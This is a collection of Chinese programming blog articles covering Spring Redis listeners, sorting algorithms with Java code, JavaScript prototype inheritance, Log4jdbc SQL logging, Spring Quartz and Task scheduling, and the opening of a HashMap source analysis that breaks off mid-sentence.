    <!-- 将消息handler注册 -->
    <redis:listener-container>
        <redis:listener ref="messageListener" method="handleMessage" serializer="jdkSerializer" topic="java"/>
    </redis:listener-container>
               

上文在定义Listener的时候采用了注解对象作为实现类，也可以手动在配置文件中再写一个bean，如下

    <bean id="messageDelegateListener" class="***.***.***" />

最后我们给出一个接收方的实现

import java.io.Serializable;

import org.springframework.stereotype.Component;

@Component(value="messageDelegateListener")
public class ListenMessage {
    public void handleMessage(Serializable message){
        System.out.println(message);
    }
}
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1. 插入排序


1.1 性能分析


时间复杂度O(n^2), 空间复杂度O(1)

排序时间与输入有关：输入的元素个数；元素已排序的程度。

最佳情况，输入数组是已经排好序的数组，运行时间是n的线性函数； 最坏情况，输入数组是逆序，运行时间是n的二次函数。


1.2 核心代码


java  public void sort(){
        int temp;
        for(int i = 1; i<arraytoSort.length; i++){
            for(int j = i-1; j>=0; j--){
                if( arraytoSort[j+1] < arraytoSort[j] ){
                    temp = arraytoSort[j+1];
                    arraytoSort[j+1] = arraytoSort[j];
                    arraytoSort[j] = temp;
                }   
            }   
        }
    }



2.选择排序


2.1 性能分析


时间复杂度O(n^2), 空间复杂度O(1)

排序时间与输入无关，最佳情况，最坏情况都是如此, 不稳定 如 {5,5,2}。


2.2核心代码


java public void sort(){ 
        for(int i = 0; i<arraytoSort.length-1; i++){
            int min = i;
            int temp;
            //find min
            for(int j = i+1; j<arraytoSort.length ;j++){
                if(arraytoSort[j] <arraytoSort[min]){
                    min = j;
                    }
            }
            //swap the min with the ith element
            temp = arraytoSort[min];
            arraytoSort[min] = arraytoSort[i];
            arraytoSort[i] = temp;
        }
    }



3. 归并排序


3.1 性能分析


时间复杂度 O(nlogn), 空间复杂度O(n) +O(logn)

排序时间与输入无关，最佳情况，最坏情况都是如此, 稳定。


原理：


可以将数组分成二组。依次类推，当分出来的小组只有一个数据时，可以认为这个小组组内已经达到了有序，然后再合并相邻的二个小组就可以了。这样通过先递归的分解数列，再合并数列就完成了归并排序


归并排序的时间复杂度，合并耗费O(n)时间，而由完全二叉树的深度可知，整个归并排序需要进行log_2n次，因此，总的时间复杂度为 O(nlogn)，而且这是归并排序算法中最好、最坏、平均的时间性能。


由于归并排序在归并过程中需要与原始记录序列同样数量的存储空间存放归并结果 以及 递归时深度为 log_2n 的栈空间，因此空间复杂度为O(n+logn)。


另外，对代码进行仔细研究，发现 Merge 函数中有if (L[i]<R[j]) 语句，这就说明它需要两两比较，不存在跳跃，因此归并排序是一种稳定的排序算法。


也就是说，归并排序是一种比较占用内存，但却效率高且稳定的算法。


3.2 核心代码


java public int merge( int p, int q, int r ){
        int count = 0;
        int[] right = assignlist(p,q); 
        //赋值左半部分数组（赋值就是用for循环，还有一个哨兵：最后一个元素设置为maxvalue）
        int[] left = assignlist(q+1,r); //赋值有半部分数组
        int i = 0;
        int j = 0;

        for(int k = p; k<=r; k++){
            if(right[i] <= left[j]){    
                arraytoSort[k] = right[i];
                i++;    
            }
            else if(right[i] > left[j]){
                arraytoSort[k] = left[j];
                j++;
                count = count + (q - p + 1) -i;
            }
        }
        return count;
    }

  void MergeSort(int arry[],int start,int end)
 {
    if(start<end)
    {
        int mid=(start+end)/2;//数组重点
        MergeSort(arry,start,mid);//递归调用，排序前半段arry[start...mid]
        MergeSort(arry,mid+1,end);//递归调用，排序后半段arry[mid+1,end]
        MergeArry(arry,start,mid,end);//归并上述两段有序数组。
    }
}



3.3 延伸


求逆序对


4冒泡排序


4.1 性能分析


时间复杂度O(n^2), 空间复杂度O(1)， 稳定，因为存在两两比较，不存在跳跃。

排序时间与输入无关，最好，最差，平均都是O(n^2)


4.2 核心代码


java     for(int i=0;i<arraytoSort.length-1;i++){    
            for(int j=arraytoSort.length-1;j>=i+1;j--){
                int temp;
                if(arraytoSort[j]<arraytoSort[j-1])
                {
                    temp = arraytoSort[j];
                    arraytoSort[j] = arraytoSort[j-1];
                    arraytoSort[j-1] = temp;
                }
            }
        }



4.3 延伸


冒泡排序缺陷：



	在排序过程中，执行完当前的第i趟排序后，可能数据已全部排序完备，但是程序无法判断是否完成排序，会继续执行剩下的(n-1-i)趟排序。解决方法： 设置一个flag位, 如果一趟无元素交换，则 flag = 0; 以后再也不进入第二层循环。

	当排序的数据比较多时排序的时间会明显延长，因为会比较 n*(n-1)/2次。



5. 堆排序


5.1 性能分析


时间复杂度 O(nlogn), 空间复杂度O(1). 从这一点就可以看出，堆排序在时间上类似归并，但是它又是一种原地排序，时间复杂度小于归并的O(n+logn)

排序时间与输入无关，最好，最差，平均都是O(nlogn). 不稳定


堆排序借助了堆这个数据结构，堆类似二叉树，又具有堆积的性质（子节点的关键值总小于（大于）父节点）

堆排序包括两个主要操作:



	保持堆的性质heapify(A,i)

时间复杂度O(logn)


	建堆 buildmaxheap(A)

时间复杂度O(n)线性时间建堆



对于大数据的处理： 如果对100亿条数据选择Topk数据，选择快速排序好还是堆排序好？ 答案是只能用堆排序。 堆排序只需要维护一个k大小的空间，即在内存开辟k大小的空间。而快速排序需要开辟能存储100亿条数据的空间，which is impossible.


5.2 核心代码


javapublic class HeapSort {
    public void buildheap(int array[]){
        int length = array.length;
        int heapsize = length;
        int nonleaf = length / 2 - 1;
        for(int i = nonleaf; i>=0;i--){
            heapify(array,i,heapsize);
        }
    }

    public void heapify(int array[], int i,int heapsize){
        int smallest = i;
        int left = 2*i+1;
        int right = 2*i+2;
        if(left<heapsize){
            if(array[i]>array[left]){
                smallest = left;
            }
            else smallest = i;
        }
        if(right<heapsize){
            if(array[smallest]>array[right]){
                smallest = right;
            }
        }
        if(smallest != i){
            int temp;
            temp = array[i];
            array[i] = array[smallest];
            array[smallest] = temp;
            heapify(array,smallest,heapsize);
        }
    }

    public void heapsort(int array[]){
        int heapsize = array.length;
        buildheap(array);

        for(int i=0;i<array.length-1;i++){
            // swap the first and the last
            int temp;
            temp = array[0];
            array[0] = array[heapsize-1];
            array[heapsize-1] = temp;
            // heapify the array
            heapsize = heapsize - 1;
            heapify(array,0,heapsize);

        }   
    }



5.3 延伸


堆这种数据结构的很好的应用是 优先级队列，如作业调度。


6 快速排序


6.1 性能分析


时间复杂度 O(nlogn)  空间复杂度O（logn） 不稳定 【两个时间复杂度O(nlogn) 的排序算法都不稳定】


时间复杂度：

最坏O（n^2） 当划分不均匀时候 逆序and排好序都是最坏情况

最好O（n） 当划分均匀
partition的时间复杂度: O（n）一共需要logn次partition


空间复杂度：递归造成的栈空间的使用，最好情况，递归树的深度logn 空间复杂的logn，最坏情况，需要进行n‐1 递归调用，其空间复杂度为 O(n)，平均情况，空间复杂度也为O(log2n)。

由于关键字的比较和交换是跳跃进行的，因此，快速排序是一种不稳定的排序方法。


快速排序的每一轮就是将这一轮的基准数归位，直到所有的数都归为为止，排序结束。（类似冒泡）.

partition是返回一个基准值的index, index 左边都小于该index的数，右边都大于该index的数。


快速排序之所比较快，因为相比冒泡排序，每次交换是跳跃式的。每次排序的时候设置一个基准点，将小于等于基准点的数全部放到基准点的左边，将大于等于基准点的数全部放到基准点的右边。这样在每次交换的时候就不会像冒泡排序一样每次只能在相邻的数之间进行交换，交换的距离就大的多了。因此总的比较和交换次数就少了，速度自然就提高了。当然在最坏的情况下，仍可能是相邻的两个数进行了交换。因此快速排序的最差时间复杂度和冒泡排序是一样的都是 O(n^2)，它的平均时间复杂度为 O(nlogn)。其实快速排序是基于 “二分” 的思想。


6.2 核心代码


javapublic class Quicksort {
       public int partition(int A[], int begin, int end){
             int i = begin;
             int j = end;
             int q;
             int pivot = begin;
             int pivotnumber = A[pivot];
             while(i!=j){
                   int temp;
                   while(A[j]>pivotnumber && i<j){
                        j--;

                  }
                   while(A[i]<=pivotnumber && i<j)
                  {
                        i++;
                  }
                  temp = A[i];
                  A[i] = A[j];
                  A[j] = temp;
            }

             if(i == j){
                   int temp;
                  temp =A[pivot];
                  A[pivot] = A[i];
                  A[i] = temp;      
            }
             return i;
      }
       public void sort(int A[], int begin,int end){
             if(begin<end){
                   int q;
                  q = partition(A,begin, end);
                  sort(A,begin, q-1);
                  sort(A,q+1,end);
            }     
      }
       public static void main(String[] args) {
             int array[] = {8,7,1,6,5,4,3,2};
            Quicksort s = new Quicksort();
            s.sort(array, 0, 7);
             for(int i=0;i<array.length;i++){
                  System. out.println("output " + array[i]);
            }
      }
}



非比较排序： ，计数排序，基数排序，桶排序，时间复杂度能够达到O(n).  这些排序为了达到不比较的目的，对数据做了一些基本假设（限制）。如计数排序假设数据都[0,n] 范围内，且范围较小；基数排序假设数据都[0,n] 范围内；也是桶排序假设数据均匀独立的分布。


而且，非比较排序的空间要求比较高，用空间换取时间吧。当我们的待排序数组具备一些基数排序与桶排序要求的特性，且空间上又比较富裕时，桶排序与基数排序不失为最佳选择。


7. 计数排序


我们希望能线性的时间复杂度排序，如果一个一个比较，显然是不实际的，书上也在决策树模型中论证了，比较排序的情况为nlogn 的复杂度。既然不能一个一个比较，我们想到一个办法，就是如果在排序的时候就知道他的位置，那不就是扫描一遍，把他放入他应该的位置不就可以了。 要知道他的位置，我们只需要知道有多少不大于他不就可以了吗？


7.1 性能分析


最好，最坏，平均的时间复杂度O(n+k), 天了噜， 线性时间完成排序，且稳定。


优点：不需要比较函数，利用地址偏移，对范围固定在[0,k]的整数排序的最佳选择。是排序字节串最快的排序算法。


缺点：由于用来计数的数组的长度取决于待排序数组中数据的范围（等于待排序数组的最大值与最小值的差加上1），这使得计数排序对于数据范围很大的数组，需要大量时间和内存。


7.2 核心代码


java    public int[] countsort(int A[]){
        int[] B = new int[A.length]; //to store result after sorting
        int k = max(A);
        int [] C = new int[k+1]; // to store temp
        for(int i=0;i<A.length;i++){    
            C[A[i]] = C[A[i]] + 1;
        }
        // 小于等于A[i]的数的有多少个, 存入数组C
        for(int i=1;i<C.length;i++){
            C[i] = C[i] + C[i-1];
        }
        //逆序输出确保稳定-相同元素相对顺序不变
        for(int i=A.length-1;i>=0;i--){

            B[C[A[i]]-1] = A[i]; 
            C[A[i]] = C[A[i]]-1;
        }
        return B;
    }



7.3 扩展


请给出一个算法，使之对给定的介于 0到 k 之间的 n个整数进行预处理，并能在O(1) 时间内回答出输入的整数中有多少个落在 [a...b] 区间内。你给出的算法的预处理时间为O(n+k)。


分析：就是用计数排序中的预处理方法，获得数组 C[0...k]，使得C[i]为不大于 i的元素的个数。这样落入 [a...b] 区间内的元素个数有 C[b]-C[a-1]。


计数排序的重要性质是他是稳定的。一般而言，仅当卫星数据随着被排序的元素一起移动时，稳定性才显得比较重要。而这也是计数排序作为基数排序的子过程的重要原因


8 基数排序


为什么要用基数排序 ？


计数排序和桶排序都只是在研究一个关键字的排序，现在我们来讨论有多个关键字的排序问题。


假设我们有一些二元组(a,b)，要对它们进行以a 为首要关键字，b的次要关键字的排序。我们可以先把它们先按照首要关键字排序，分成首要关键字相同的若干堆。然后，在按照次要关键值分别对每一堆进行单独排序。最后再把这些堆串连到一起，使首要关键字较小的一堆排在上面。按这种方式的基数排序称为 MSD(Most Significant Dight) 排序。


第二种方式是从最低有效关键字开始排序，称为 LSD(Least Significant Dight)排序 。首先对所有的数据按照次要关键字排序，然后对所有的数据按照首要关键字排序。要注意的是，使用的排序算法必须是稳定的，否则就会取消前一次排序的结果。由于不需要分堆对每堆单独排序，LSD 方法往往比 MSD 简单而开销小。下文介绍的方法全部是基于 LSD 的。


通常，基数排序要用到计数排序或者桶排序。使用计数排序时，需要的是Order数组。使用桶排序时，可以用链表的方法直接求出排序后的顺序。





8.1 性能分析


时间复杂度O（n） (实际上是O(d(n+k)) d是位数)


8.2 核心代码


cRADIX-SORT(A,d)
    for i = 1 to d
        do use a stable sort to sort array A on digit i



8.3扩展


问题：对[0,n^2-1]的n 个整数进行线性时间排序。

思路 ： 把整数转换为n进制再排序，每个数有两位，每位的取值范围是[0..n-1]，再进行基数排序


http://blog.csdn.net/mishifangxiangdefeng/article/details/7685839


问题： 给定一个字符串数组，其中不同的串包含的字符数可能不同，但所有串中总的字符个数为 n。说明如何在 O(n) 时间内对该数组进行排序


9. 桶排序


桶排序的思想近乎彻底的分治思想。


桶排序假设待排序的一组数均匀独立的分布在一个范围中，并将这一范围划分成几个子范围（桶）。


然后基于某种映射函数f ，将待排序列的关键字 k 映射到第i个桶中 (即桶数组B 的下标i) ，那么该关键字k 就作为 B[i]中的元素 (每个桶B[i]都是一组大小为N/M 的序列 )。


接着将各个桶中的数据有序的合并起来 : 对每个桶B[i] 中的所有元素进行比较排序 (可以使用快排)。然后依次枚举输出 B[0]....B[M] 中的全部内容即是一个有序序列。


补充： 映射函数一般是 f = array[i] / k; k^2 = n; n是所有元素个数





9.1 性能分析


平均时间复杂度为线性的 O(n+C) 最优情形下，桶排序的时间复杂度为O(n)。

桶排序的空间复杂度通常是比较高的，额外开销为O(n+m)（因为要维护 M 个数组的引用）。

就是桶越多，时间效率就越高，而桶越多，空间却就越大，由此可见时间和空间是一个矛盾的两个方面。


算法稳定性 : 桶排序的稳定性依赖于桶内排序。如果我们使用了快排，显然，算法是不稳定的。
一个讲bucket排序非常好的文章

桶排序利用函数的映射关系，减少了几乎所有的比较工作。实际上，桶排序的 f(k) 值的计算，其作用就相当于快排中划分，已经把大量数据分割成了基本有序的数据块 (桶)。然后只需要对桶中的少量数据做先进的比较排序即可。


对 N 个关键字进行桶排序的时间复杂度分为两个部分：

(1) 循环计算每个关键字的桶映射函数，这个时间复杂度是 O(n)。

(2) 利用先进的比较排序算法对每个桶内的所有数据进行排序，其时间复杂度为  ∑ O(ni*logni) 。其中 ni 为第 i个桶的数据量。


很显然，第 (2) 部分是桶排序性能好坏的决定因素。这就是一个时间代价和空间代价的权衡问题了。


9.2 核心代码


9.3扩展





in summary





关于稳定性：



	选择排序、快速排序、希尔排序、堆排序不是稳定的排序算法，

	冒泡排序、插入排序、归并排序和基数排序是稳定的排序算法。

	常用时间复杂度的大小关系：O(1)<O(logn)<O(n)<O(nlogn)<O(n2)<O(n3)<O(2n)<O(n!)<O(nn)





 通过类型继承深入理解原型继承

作者：crossea

来源： 通过类型继承深入理解原型继承



                    
基于类的继承是大多数人所熟悉的，也是比较容易理解的。当我们形成类型继承的思维定势后，再次接触原型继承可能会觉得有些奇怪并难以理解。你更可能会吐槽，原型继承根本就不能叫做继承，一点都不面向对象。本人最初也是这样认为的，但深入仔细的对比后发现，两者其实并没有本质的差别，只是表面有点不一样而已。且看下面的分析。

类型继承

先看一个类型继承的例子，代码如下：

public class A {
    //...
}

public class B extends A {
    //...
}

public class C extends B {
    //...
}

C c = new C();

A、B、C为三个继承关系的类，最后将类C实例化。下面这张图描述了类和实例的对应关系。左边为类，右边为其对应实例。



我们看到，类C实例化后，内存中不仅存在c对象，同时还有a、b两个对象。因为在java中，当我们在执行new C()操作时，jvm中会发生如下过程：


	创建A的实例a。


	创建B的实例b，并将实例b的super指针指向a。


	创建C的实例c，并将实例c的super指针指向b。




过程1和过程2对用户是透明的，不需要人工干预，引擎会按照“蓝图”把这两个过程完成。通过上图右半部分我们可以看到，super指针将a、b、c三个实例串起来了，这里是实现继承的关键。当我们在使用实例c的某个属性或方法时，若实例c中不存在则会沿着super指针向父类对象查找，直到找到，找不到则出错。这就是继承能够达到复用目的内部机制。看到这里大家或许已经联想到原型链了，super所串起来的这个链几乎和原型链一样，只是叫法不一样而已。下面我们就来看看原型继承。

原型继承



上面是原型继承的示意图。先看图的右半部分，__proto__指针形成的对象链就是原型链。__proto__是一个私有属性，只能看不准访问(某些浏览器看也不给看)。__proto__的作用和前面的super是一样的，原型链实现复用的机制和类型继承也几乎是一样的，这里不再重复。有一点不一样就是原型继承中的属性写操作只会改变当前对象并不会影响原型链上的对象。

如何去构造原型链呢？看上去要稍微麻烦一些。原型继承里面没有类的概念，我们需要通过代码，手动完成这个过程。上图中的A、B、C在原型继承称作构造器。构造器就是一个普通的函数，但是将new操作符用到构造器上时，它会执行一个叫[[construct]]的过程。大致如下：


	创建一个空对象obj。


	设置obj的内部属性[[Class]]为Object。


	设置obj的内部属性[[Extensible]]为true。


	设置obj的[[__proto__]]属性：如果函数对象prototype的值为对象则直接赋给obj，否则赋予Object的prototype值。


	调用函数对象的[[Call]]方法并将结果赋给result。


	如果result为对象则返回result,否则返回obj。




从第4条可以看到，构造器生成的对象的__proto__属性会指向构造器的prototype值，这就是我们构造原型链的关键。下面的代码是上图原型链的构造过程。

function A(){
    //...
}

function B(){
    //...
}

function C(){
    //...
}

var a = new A();
B.prototype = a;
var b = new B();
C.prototype = b;
var c = new C();

上述代码虽然能达到目的，但有点繁琐，我们可以将这个过程封装一下。backbone的实现是这样的：

var extend = function(protoProps, staticProps) {
    var parent = this;
    var child;
    if (protoProps && _.has(protoProps, 'constructor')) {
      child = protoProps.constructor;
    } else {
      child = function(){ return parent.apply(this, arguments); };
    }    
    _.extend(child, parent, staticProps);
    child.prototype = _.create(parent.prototype, protoProps);
    child.prototype.constructor = child;
    child.__super__ = parent.prototype;
    return child;
  }

其中_.extend(child, parent, staticProps)是将staticProps和parent对象的属性复制给child。_.create方法的实现大概如下。

_.create = function(prototype, protoProps){
    var F = function(){};
    F.prototype = prototype;
    var result = new F();
    return _.extend(result, protoProps);
}

有了extend方法，我们的代码就可以写成：

    A.extend = extend;
    var B = A.extend({
        //...
    );
    var C = B.extend({
        //...
    );
    var c = new C();

这段代码和类型继承的代码十分相似，通过原型继承我们也可以达到类型继承的效果。但是通过前面的比较我们发现，继承的本质就其实就是对象的复用。原型继承本身就是以对象为出发点考虑的，所以大多时候我们并不一定要按照类型继承的思维考虑问题。而且js是弱类型，对象的操作也极其自由，上述的_.create方法可能是js里面实现继承的一个更简单有效的方法。

总结

前面讨论了两种继承方式，可以看到，继承的本质其实就是对象的复用。本人觉得原型继承更加的简单和明确，它直接就是从对象的角度考虑问题。当然，如果你需要一个非常强大的继承体系，你也可以构造出一个类似类型继承的模式。相对来说，本人觉得原型继承更灵活和自由些，也是非常巧妙和独特的。


 如何有效地记录 Java SQL 日志？

作者：OneAPM蓝海讯通

来源： 如何有效地记录 Java SQL 日志？



                    
在常规项目的开发中可能最容易出问题的地方就在于对数据库的处理了，在大部分的环境下，我们对数据库的操作都是使用流行的框架，比如 Hibernate 、 MyBatis 等。由于各种原因，我们有时会想知道在这些框架下实际执行的 SQL 究竟是什么。 

虽然 Hibernate 可以在配置文件中打开 SHOW SQL 的功能， MyBatis 则可以在 Log4j 的配置文件中配置 SQL 语句的输出，但这些输出是类似这样的 INSERT … ?  ?  ? 语句，并不是一个完整可以运行的 SQL ，要想知道完整的 SQL 需要手动把参数补齐，如果要调试这样的 SQL 无疑非常痛苦。

Log4jdbc 是一个开源 SQL 日志框架，它使用代理模式实现对常用的  JDBC Driver（ Oracle ,  Derby ,  MySQL ,  PostgreSQL ,  H2 ,  HSQLDB , …）操作的拦截，记录真实 SQL ，可以将占位符与参数全部合并在一起显示，方便直接拷贝 SQL 在 MySQL 等客户端直接执行，加快调试速度。本文主要介绍如何使用 Log4jdbc 这个可以直接显示完整 SQL 的日志框架，希望对大家能有所帮助。

Log4jdbc 的特点:

Log4jdbc 的官方主页是 https://github.com/arthurblake/log4jdbc ，它具有以下特点：


	完全支持 JDBC3 和 JDBC4


	配置简单，在大多数情况下，只需要将 JDBC 驱动类改成 net.sf.log4jdbc.DriverSpy ，同时将 jdbc:log4jdbc 添加到现有的 JDBC URL 之前，最后配置日志记录的种类即可


	将 Prepared Statements 中的绑定参数自动插入到对应的位置。在大多数情况下极大改善了可读性及调试工作


	SQL 的耗时信息能被获取从而帮助判断哪些语句执行得过慢，同时这些信息可以被工具识别得到一个关于慢 SQL 的报表


	SQL 连接信息也可以获取从而帮助诊断关于连接池或线程的问题


	兼容任何 JDBC 驱动，需要 JDK1.4 及以上与 Slf4j1.x


	开源软件，使用 Apache 2.0 License




使用 Log4jdbc 的步骤：

感兴趣的朋友可以去 Log4jdbc 的项目主页看它的使用方法，如果单纯使用 Log4jdbc ，不会对 ResultSet 以表格方式呈现，在这里我们使用扩展自 Log4jdbc 的日志框架 Log4jdbc-log4j2 ，它增加了对 ResultSet 以表格方式呈现的处理，项目主页是： https://code.google.com/p/log4jdbc-log4j2/ 。它的使用步骤如下：

1、决定使用哪个版本的 JAR 包：

如果使用 JDK1.5 , 应该使用 JDBC3 版本的 JAR 包即 log4jdbc-log4j2-jdbc3.jar 。

如果使用 JDK1.6 , 应该使用 JDBC4 版本的 JAR 包即 log4jdbc-log4j2-jdbc4.jar (即使实际使用的 JDBC 驱动是 JDBC3 的甚至更老)。

如果使用 JDK1.7 , 应该使用 JDBC4.1 版本的 JAR 包即 log4jdbc-log4j2-jdbc4.1.jar (即使实际使用的 JDBC 驱动是 JDBC3 的甚至更老)。

2、将 JAR 包添加进项目：

将 JAR 包添加进项目有两种方式，第一种是直接将 Log4jdbc-log4j2 和 Slf4j 的 JAR 包添加进 CLASSPATH 中，第二种是使用 MAVEN 方式引入 JAR 包，这里我们主要说明第二种方式。在 pom.xml 文件中，根据使用的 JDBC 驱动的版本来替换 log4jdbc-log4j2-jdbcXX (比如 log4jdbc-log4j2-jdbc4.1 , 或者 log4jdbc-log4j2-jdbc4 , 或者 log4jdbc-log4j2-jdbc3 )。该框架需要配合 Slf4j 一起使用，MAVEN 配置如下：

<dependency>
    <groupId>org.bgee.log4jdbc-log4j2</groupId>
    <artifactId>log4jdbc-log4j2-jdbcXX</artifactId>
    <version>1.16</version>
</dependency>
<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>jcl-over-slf4j</artifactId>
    <version>1.7.2</version>
</dependency>
<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-api</artifactId>
    <version>1.7.2</version>
</dependency>
<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-log4j12</artifactId>
    <version>1.7.2</version>
</dependency>

3、将项目的配置文件中的 JDBC 驱动类改成 net.sf.log4jdbc.sql.jdbcapi.DriverSpy 。

4、将 jdbc:log4 添加到现有的 JDBC URL 之前:

例如原来的 JDBC URL 是

 jdbc:mysql://localhost:3306/MyDatabase 

，则应该改成：

 jdbc:log4jdbc:mysql://localhost:3306/MyDatabase 

5、配置日志记录的种类：

Log4jdbc 用以下几个可以配置的日志种类：


	jdbc.sqlonly : 仅记录 SQL


	jdbc.sqltiming ：记录 SQL 以及耗时信息


	jdbc.audit ：记录除了 ResultSet 之外的所有 JDBC 调用信息，会产生大量的记录，有利于调试跟踪具体的 JDBC 问题


	jdbc.resultset ：会产生更多的记录信息，因为记录了 ResultSet 的信息


	jdbc.connection ：记录连接打开、关闭等信息，有利于调试数据库连接相关问题




以上日志种类都可以设置为 DEBUG , INFO 或 ERROR 级别。当设置为 FATAL 或 OFF 时，意味关闭记录。

以下是一个采用 Log4j 作为具体日志系统的典型配置，将这些配置到 log4j.properties 里面：

log4j.logger.jdbc.sqlonly=OFF 
log4j.logger.jdbc.sqltiming=INFO   
log4j.logger.jdbc.audit=OFF 
log4j.logger.jdbc.resultset=OFF 
log4j.logger.jdbc.connection=OFF

6、添加 log4jdbc.log4j2.properties 文件：

这是最后一步，在项目的 CLASSPATH 路径下创建一个 log4jdbc.log4j2.properties 文件，告诉 Log4jdbc-log4j2 使用的是 Slf4j 来记录和打印日志，在该配置文件里增加：

log4jdbc.spylogdelegator.name=net.sf.log4jdbc.log.slf4j.Slf4jSpyLogDelegator

最后，运行一下项目，看看效果。

效果：



上图可以看出，两个 SELECT 语句的执行时间分别是 117 和 552 毫秒，这对于开发调试还是很有帮助的。现在很多项目的压测时和上线后，基本都在使用 OneAPM ，它的数据库监控分析功能更强大一些，不仅可以记录 SQL 日志，还可以定位到操作 SQL 的 Java 代码行，直接在网页上就可以看到效果，使用体验还是不错的。
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本文来自网络一些博客的整理（包括gong1208的博客 dary1715的博客）

1、简介

这个系列介绍Spring框架实现定时任务的两种方式以及一些高级的用法，包括：

1、使用Quartz，这是一个功能比较强大的的调度器，可以让你的程序在指定时间执行，也可以按照某一个频度执行，配置起来稍显复杂，稍后会详细介绍。

2、Spring3.0以后自带的task，可以将它看成一个轻量级的Quartz，而且使用起来比Quartz简单许多，稍后会介绍。


2、Quartz的使用

作业类继承自特定基类的方式：org.springframework.scheduling.quartz.QuartzJobBean


①定义作业类：


import org.quartz.JobExecutionContext;
import org.quartz.JobExecutionException;
import org.springframework.scheduling.quartz.QuartzJobBean;
public class Job1 extends QuartzJobBean {
    private int timeout;
    private static int i = 0;
    //调度工厂实例化后，经过timeout时间开始执行调度
    public void setTimeout(int timeout) {
        this.timeout = timeout;
    }
    /**
    * 要调度的具体任务
    */
    @Override
    protected void executeInternal(JobExecutionContext context) throws JobExecutionException {
        System.out.println("定时任务执行中…");
    }
}



②spring配置文件中配置作业类JobDetailBean


<bean name="job1" class="org.springframework.scheduling.quartz.JobDetailBean">
    <property name="jobClass" value="com.gy.Job1" />
    <property name="jobDataAsMap">
        <map>
            <entry key="timeout" value="0" />
        </map>
    </property>
</bean>



说明：org.springframework.scheduling.quartz.JobDetailBean有两个属性，jobClass属性即我们在java代码中定义的任务类，jobDataAs


③配置作业调度的触发方式（触发器）

Quartz的作业触发器有两种，分别是


org.springframework.scheduling.quartz.SimpleTriggerBean


org.springframework.scheduling.quartz.CronTriggerBean


第一种SimpleTriggerBean，只支持按照一定频度调用任务，如每隔30分钟运行一次。


配置方式如下：


<bean id="simpleTrigger" class="org.springframework.scheduling.quartz.SimpleTriggerBean">
    <property name="jobDetail" ref="job2" />
    <property name="startDelay" value="0" /><!-- 调度工厂实例化后，经过0秒开始执行调度 -->
    <property name="repeatInterval" value="2000" /><!-- 每2秒调度一次 -->
</bean>



第二种CronTriggerBean，支持到指定时间运行一次，如每天12:00运行一次等。


<bean id="cronTrigger" class="org.springframework.scheduling.quartz.CronTriggerBean">
    <property name="jobDetail" ref="job2" />
    <!—每天12:00运行一次 -->
    <property name="cronExpression" value="0 0 12 * * ?" />
</bean>



④配置调度工厂


<bean class="org.springframework.scheduling.quartz.SchedulerFactoryBean">
    <property name="triggers">
        <list>
            <ref bean="cronTrigger" />
        </list>
    </property>
</bean>



⑤启动你的应用即可，即将工程部署至tomcat或其他容器。

到此，spring中Quartz的基本配置就介绍完了，当然了，使用之前，要导入相应的spring的包与Quartz的包，这些就不消多说了。


其实可以看出Quartz的配置看上去还是挺复杂的，没有办法，因为Quartz其实是个重量级的工具，如果我们只是想简单的执行几个简单的定时任务，有没有更简单的工具 请看我第下文Spring task的介绍。

特别的，关于CronExpression 的详细用户，请参考dary1715的博客


3、Spring Task

上节介绍了在Spring 中使用Quartz，本文介绍Spring3.0以后自主开发的定时任务工具，spring task，可以将它比作一个轻量级

的Quartz，而且使用起来很简单，除spring相 关的包外不需要额外的包，而且支持注解和配置文件两种

形式，下面将分别介绍这两种方式。


配置文件方式：


①配置作业类

即普通的pojo，如下：


import org.springframework.stereotype.Service;
@Service
public class TaskJob {

    public void job1() {
        System.out.println('task exe...');
    }
}



②在spring配置文件头中添加命名空间及描述


<beans xmlns="http://www.springframework.org/schema/beans" xmlns:task="http://www.springframework.org/schema/task" 
xsi:schemaLocation="http://www.springframework.org/schema/task http://www.springframework.org/schema/task/spring-task-3.0.xsd">



③spring配置文件中设置具体的任务


<task:scheduled-tasks> 
    <task:scheduled ref="taskJob" method="job1" cron="0 * * * * ?"/> 
</task:scheduled-tasks>
<context:component-scan base-package=" com.gy.mytask " />



说明：ref参数指定的即任务类，method指定的即需要运行的方法，cron及cronExpression表达式，具体写法这里不介绍了，详情见上篇文章附录。


这个配置不消多说了，spring扫描注解用的。


到这里配置就完成了，是不是很简单。


使用注解形式:


① 编写普通的POJO


import org.springframework.scheduling.annotation.Scheduled;  
import org.springframework.stereotype.Component;
@Component(“taskJob”)
public class TaskJob {
@Scheduled(cron = "0 0 3 * * ?")
    public void job1() {
        System.out.println(“任务进行中。。。”);
    }
}



②添加task相关的配置：


<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:aop="http://www.springframework.org/schema/aop"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:tx="http://www.springframework.org/schema/tx"
xmlns:task="http://www.springframework.org/schema/task"
xsi:schemaLocation="
    http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
    http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-3.0.xsd
    http://www.springframework.org/schema/context http://www.springframework.org/schema/jdbc/spring-jdbc-3.0.xsd
    http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.0.xsd
    http://www.springframework.org/schema/task http://www.springframework.org/schema/task/spring-task-3.0.xsd"
default-lazy-init="false">


<context:annotation-config />
<!—spring扫描注解的配置   -->
<context:component-scan base-package="com.gy.mytask" />
<!—开启这个配置，spring才能识别@Scheduled注解   -->
<task:annotation-driven scheduler="qbScheduler" mode="proxy"/>
<task:scheduler id="qbScheduler" pool-size="10"/>



其他关于Spring Task使用的例子请参照 参考链接1 参考链接2
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本文章首发于个人博客，鉴于sf博客样式具有赏心悦目的美感，遂发表于此，供大家学习、批评。
本文还在不断更新中，最新版可移至个人博客。😊



继上一篇文章Java集合框架综述后，今天正式开始分析具体集合类的代码，首先以既熟悉又陌生的HashMap开始。

签名（signature）

public class HashMap<K,V>
       extends AbstractMap<K,V>
       implements Map<K,V>, Cloneable, Serializable

可以看到HashMap继承了


	标记接口Cloneable，用于表明HashMap对象会重写java.lang.Object#clone()方法，HashMap实现的是浅拷贝（shallow copy）。


	标记接口Serializable，用于表明HashMap对象可以被序列化




比较有意思的是，HashMap同时继承了抽象类AbstractMap与接口Map，因为抽象类AbstractMap的签名为

